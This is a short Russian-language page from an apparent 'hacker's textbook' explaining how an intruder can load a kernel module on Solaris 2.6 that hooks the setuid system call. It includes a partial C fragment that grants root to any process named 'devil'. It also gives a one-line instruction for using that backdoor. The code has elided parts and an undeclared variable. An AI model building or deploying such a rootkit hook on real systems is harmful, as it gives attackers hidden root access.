Учебник хакера

         

Добавление модулей в ядро.


Взломщик может добавить свой модуль в ядро и перехватить какой-либо из системных вызовов, скажем, SYS_setuid.

SYS_setuid Solaris 2.6 .... proc_t p; user_t  ut; int my_setuid(uid_t uid) {         int rval;

        p = ttoproc(curthread);         mutex_enter(&p->p_lock);         up = prumap(p);         rval = bcmp(up->u_comm, "devil", 5);         (void)prunmap(p);         mutex_exit(&p->p_lock);         if( rval) {                 rval = setuid(uid);         } else {                 ...         }         return 0; } ....

Теперь достаточно переименовать свою программу в devil* и вызвать setuid для получения uid = 0.



Содержание раздела